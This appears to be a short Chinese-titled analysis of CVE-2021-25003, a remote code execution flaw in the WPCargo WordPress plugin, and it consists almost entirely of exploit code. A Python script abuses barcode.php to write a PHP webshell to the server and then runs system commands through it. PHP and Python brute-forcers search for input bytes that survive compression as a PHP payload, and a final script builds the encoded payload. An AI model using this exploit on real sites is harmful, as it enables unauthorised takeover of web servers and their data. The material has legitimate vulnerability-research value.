WordPress WPCargo Track CVE-2021-25003 RCE 分析 - 有趣的压缩算法Trick

import sysimport binasciiimport requests
# This is a magic string that when treated as pixels and compressed using the png# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png filepayload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):    return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://127.0.0.1:8001/'cmd = 'ls'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.requests.get(    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php")
# We have uploaded a webshell - now let's use it to execute a command.print(requests.post(    f"{destination_url}webshell.php?1=system", data={"2": cmd}).content.decode('ascii', 'ignore'))

<?php @error_reporting(0);function attack($str){      while(1){        for($x=1;$x<=100;$x++)        {              for($y=1;$y<=100;$y++){                $i = random_bytes($x);                $j = random_bytes($y);                try{                    $c = gzinflate($i.$str.$j);                    $b = gzdeflate($c);                    if(strpos($b,$str) !== false)                    {                        echo bin2hex($c)."n";                    }                                    }catch(Exception $e){                    continue;                };            }                   }            };    };

#!/usr/bin/env python3from zlib import compressimport randomimport multiprocessing as mp
def gen(n): # Generate random bytes in the BMP    rand_bytes = b''    for i in range(n):        rand_bytes = rand_bytes + chr(random.randrange(0, 65535)).encode('utf8', 'surrogatepass')    return rand_bytes
def attack():    while True:        for i in range(1,200):            rand_bytes = gen(i)            to_compress = b"<?php system($_GET[111]);?>"            to_compress =  rand_bytes +  to_compress             # Random bytes are prepended to our payload. We include the dates: there will be compressed too.            compressed = compress(to_compress)            if b'php system' in compressed: # Check whether the input is in the output                    print(to_compress)                    exit(0)
if __name__ == "__main__":    processes = [mp.Process(target=attack) for x in range(8)]
    for p in processes:        p.start()

import sysimport binasciiimport requests
def str_to_hexStr(string):    str_bin = string.encode('utf-8')    return binascii.hexlify(str_bin).decode('utf-8')def hexStr_to_str(hex_str):  hex = hex_str.encode('utf-8')  str_bin = binascii.unhexlify(hex)  return str_bin.decode('utf-8')aa = ""
test = "xe7xb9xbcxe8x93x8fxebx9ex8fxe0xa8x82xefx93x96xe5x81x82xe0xbex9f"for ttt in test:  aa = aa +  str(hex(ord(ttt))).replace("0x","")
bb = '<?php system($_GET[111]);?>'cc = aa+str_to_hexStr(bb)


def encode_character_code(c):    c = ord(c)    return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(cc)])[1:]print text